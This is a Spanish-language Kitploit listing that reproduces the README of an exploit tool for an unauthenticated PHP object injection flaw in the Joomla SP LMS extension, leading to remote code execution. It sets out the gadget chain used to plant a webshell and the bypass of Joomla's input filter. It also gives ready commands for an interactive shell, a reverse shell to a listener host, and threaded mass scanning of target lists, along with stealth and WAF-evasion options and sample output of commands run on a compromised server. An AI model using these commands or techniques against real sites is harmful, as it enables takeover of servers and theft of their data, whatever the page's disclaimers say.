Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only. | Kitploit
Herramientas/GitHubGitHub/cerberusmrxi/cve-2026-48909-joomla-sp-exploit
Vulnerability AnalysisCode AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.

Payload Development
Labs & Practice
GitHubcerberusmrxi/cve-2026-48909-joomla-sp-exploit

CVE-2026-48909-Joomla-SP-Exploit

Ver Repositorio
2hace 1 mesAún no revisado
Compartir

CVE-2026-48909

Joomla SP LMS — Inyección de Objetos PHP no Autenticada → Ejecución Remota de Código

Python Version CVSS License Platform

Herramienta de prueba de concepto para CVE-2026-48909
Autor: Sudeepa Wanigarathna

joomla1

[!IMPORTANT] Solo para uso autorizado. Esta herramienta está destinada a la investigación de seguridad, educación y pruebas en sistemas que poseas o para los cuales tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido.


Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Installation
  • Quick Start
  • Usage Guide
  • Command Reference
  • Payload Types
  • Attack Chain
  • Output Examples
  • Troubleshooting
  • Repository Layout
  • Version History
  • Disclaimer
  • Author

Overview

CVE-2026-48909 es una inyección de objetos PHP no autenticada crítica en la extensión SP LMS de Joomla. Esta herramienta implementa la cadena de ataque completa para que los profesionales de seguridad puedan validar el impacto en entornos de laboratorio o autorizados.

Cubre detección, descubrimiento de rutas, entrega de payloads, post-explotación interactiva (donde esté permitido), evaluación masiva y limpieza opcional.


Vulnerability Details

Matriz de Compatibilidad


Features

Principal

CapacidadDescripción
Explotación no autenticadaNo se requieren credenciales

Evaluación y Operaciones

Notas de Evasión

  • Evita caracteres bloqueados por el filtro cmd de Joomla cuando es posible
  • Ruta de escritura PHP en hexadecimal para reducir problemas con padding de base64 y barras
  • Retrasos configurables y rotación de User-Agents
  • Lógica de reintento entre múltiples candidatos de inyección/ruta

Installation

Prerrequisitos

  • Python 3.6+
  • pip
  • Acceso de red al objetivo(s) bajo prueba

Configuración

root@kitploit:~
cd exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 "CVE-2026-48909 v3.0.py" --help

Dependencias

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

argparse viene incluido en la biblioteca estándar de Python; no es necesario instalarlo mediante pip.


Quick Start

Reemplaza https://target.example con un objetivo de laboratorio o autorizado únicamente.

Objetivo único — descubrir ruta + shell interactivo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Verificaciones seguras (sin explotación)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Escaneo masivo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html

Reverse shell (laboratorio autorizado)

root@kitploit:~
# Listener
nc -lvnp 4444

# Host de explotación
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Usage Guide

Descubrimiento de rutas

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path

Ruta escribible conocida

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php

Sesión interactiva

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Comando único

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Payload sigiloso + interactivo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive

Proxy (Burp / ZAP)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path --interactive \
  --proxy http://127.0.0.1:8080 \
  --insecure

Limpieza

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php

Formato de lista de objetivos

root@kitploit:~
https://lab-a.example
https://lab-b.example
https://lab-c.example
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json

Command Reference

Objetivo

Red

Reverse shell

ArgumentoDescripción
--reverse-host HOSTHost del listener
--reverse-port PORTPuerto del listener

Modos

Escaneo masivo / informe

Registro (logging)


Payload Types

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

Attack Chain

root@kitploit:~
flowchart TD
    A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP drop"]
    D --> E["Webshell on disk"]
    E --> F["Remote command execution"]

Resumen técnico

  1. Sink — components/com_splms/models/cart.php deserializa una cookie lmsOrders decodificada en base64.
  2. Gadget — Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() desencadena una escritura en el sistema de archivos.
  3. Payload — Cuerpo PHP codificado en hexadecimal, relleno de longitud para evitar caracteres base64 filtrados (/, =, +).
  4. Ejecución — Se solicita el script depositado para ejecutar comandos del sistema operativo.

Bypass del filtro de entrada (alto nivel)

El filtro cmd de Joomla puede eliminar /, = y +. Esta herramienta lo compensa:

  • Codificando el contenido de escritura como hexadecimal
  • Rellenando las formas serializadas/base64 para evitar caracteres ilegales
  • Iterando candidatos hasta producir un payload seguro para el filtro

Output Examples

Sesión interactiva

root@kitploit:~
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> whoami
www-data

shell> pwd
/var/www/html

shell> exit

Exportación JSON (forma)

root@kitploit:~
{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Comando único

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Troubleshooting

Flujo de depuración

root@kitploit:~
# Verboso + archivo de registro
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# A través de Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Primero no destructivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Repository Layout

root@kitploit:~
exploit/
├── CVE-2026-48909 v3.0.py   # Herramienta principal (v3.0)
├── requirements.txt         # Dependencias de Python
├── README.md                # Este archivo
└── venv/                    # Virtualenv local (opcional, no se incluye en el repositorio)

Adiciones opcionales para una publicación pública:

root@kitploit:~
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh

Version History

v3.0.0 — Edición Definitiva (Julio 2026)

  • Escaneo masivo con hilos
  • Soporte de proxy HTTP/SOCKS
  • Payloads de reverse shell
  • Ayudas de evasión orientadas a WAF
  • Shell sigiloso interactivo
  • Opciones de limpieza automática
  • Informes en JSON / HTML / CSV
  • Lista extendida de rutas escribibles
  • Asistencias de detección de versión de Joomla
  • Modo seguro y rotación de User-Agent
  • Retardos configurables entre peticiones

v2.1 — Edición Profesional (Julio 2026)

  • Correcciones en la generación de payloads
  • Manejo de errores y registro más robusto

Disclaimer

Este proyecto se proporciona tal cual para investigación defensiva de seguridad y pruebas de penetración autorizadas.

Al usar este software, aceptas que:

  1. Solo atacarás sistemas que poseas o para los cuales tengas autorización explícita de prueba.
  2. Entiendes las leyes aplicables sobre abuso informático y protección de datos.
  3. El autor y los colaboradores no son responsables por daños, pérdida de datos o consecuencias legales derivadas del uso indebido.

Si descubres esta vulnerabilidad en un entorno real, sigue las prácticas de divulgación responsable y coordina con el proveedor / CERT según corresponda.


Author

Sudeepa Wanigarathna
Investigador de seguridad · Hacking ético · Investigación de vulnerabilidades · Herramientas Python


Support

  • Dale estrella al repositorio si te ayuda en tu investigación
  • Abre issues para errores o falsos positivos
  • Las PR son bienvenidas para documentación, precisión de detección y UX en laboratorios autorizados

Solo para pruebas de seguridad autorizadas.

Descargar herramienta
AtributoValor
CVE IDCVE-2026-48909
CVSS9.5 (Crítico)
Vector de AtaqueRed — no autenticado
ImpactoEjecución Remota de Código
Producto AfectadoJoomla SP LMS
Versiones Afectadas1.0.0 – 4.1.3
Versión ParcheadaSP LMS 4.1.4+
Cadena de GadgetsRequiere Joomla < 5.2.2
Componente
Versión
RCE
SP LMS< 4.1.4Vulnerable
SP LMS≥ 4.1.4Parcheado
Joomla< 5.2.2Cadena de gadgets utilizable
Joomla≥ 5.2.2Cadena de gadgets parcheada
Múltiples payloads7 variantes de webshell / ejecución
Shell interactivoSesión con historial de comandos tras el despliegue
Descubrimiento de rutasSondeo automático de rutas escribibles
LimpiezaEliminar webshell desplegada tras las pruebas
CapacidadDescripción
Escaneo masivoListas de objetivos con múltiples hilos (1000+)
Soporte de proxyHTTP/SOCKS (Burp, ZAP, etc.)
Reverse shellPayloads basados en listener
Modo sigilosoCanales de comandos mediante cabeceras / POST
AleatorizaciónNombres UUID para shells, rotación de User-Agent
InformesExportar como JSON, HTML o CSV
Asistencias de detecciónVerificación de versión de Joomla, --check-only, --safe-mode
ArgumentoDescripción
targetURL del objetivo único
--targets, -T FILEArchivo con objetivos (una URL por línea)
--path PATHRuta absoluta en el servidor para la webshell
--shell-type TYPEminimal, standard, stealth, base64, full, reverse, blindshell
--shell-name NAMENombre del archivo webshell (por defecto: x.php)
ArgumentoDescripción
--timeout SECONDSTiempo de espera de las peticiones (por defecto: 15)
--insecureOmitir verificación de certificados TLS
--proxy URLej. http://127.0.0.1:8080
--random-uaRotar User-Agent (activado por defecto)
--delay SECONDSRetardo entre peticiones
ArgumentoDescripción
--interactive, -iShell interactivo tras el despliegue
--check-onlySolo verificar vulnerabilidad
--safe-modePruebas no destructivas
--find-pathAuto-descubrir ruta escribible
--cmd COMMANDEjecutar un comando y salir
--cleanup PATHEliminar webshell en la ruta especificada
--cleanup-afterLimpiar después de la explotación
ArgumentoDescripción
--threads NUMHilos de trabajo (por defecto: 10)
--export FILERuta de salida para los resultados
--export-format FORMATjson, html, csv (por defecto: json)
ArgumentoDescripción
--log-file FILEEscribir registros en un archivo
--quiet, -qModo silencioso
--verbose, -vSalida verbosa
--no-bannerOcultar banner
TipoComportamientoUso típico
minimalEjecución GET compactaEspacio limitado / prueba rápida
standardGET + POST cmd (por defecto)Evaluaciones generales
stealthComando mediante cabecera X-CmdReducir registros de URL
base64eval(base64_decode(...)) vía POSTLaboratorios de evasión de filtros
fullGET/POST + canal base64Control más amplio
reverseShell de conexión inversaAcceso persistente en laboratorio
blindshellPatrón alternativo de inclusión/ejecuciónEntornos restringidos
SíntomaQué probar
No se pudo generar un payload seguro para el filtroCambiar --path, o usar --find-path; evitar caracteres inusuales en la ruta
Falló la verificación de la shellAumentar --timeout; probar --shell-type standard; confirmar que system()/similar no esté deshabilitado; verificar escritura
El objetivo no parece vulnerableSP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; inspeccionar bloqueos de WAF
HTTP 500--insecure, --timeout 30, revisar registros de la aplicación/servidor
Rechazo de conexión del proxyConfirmar que el proxy esté escuchando; URL/esquema/host/puerto correctos
Falló la verificación TLSAgregar --insecure para endpoints de laboratorio con certificados rotos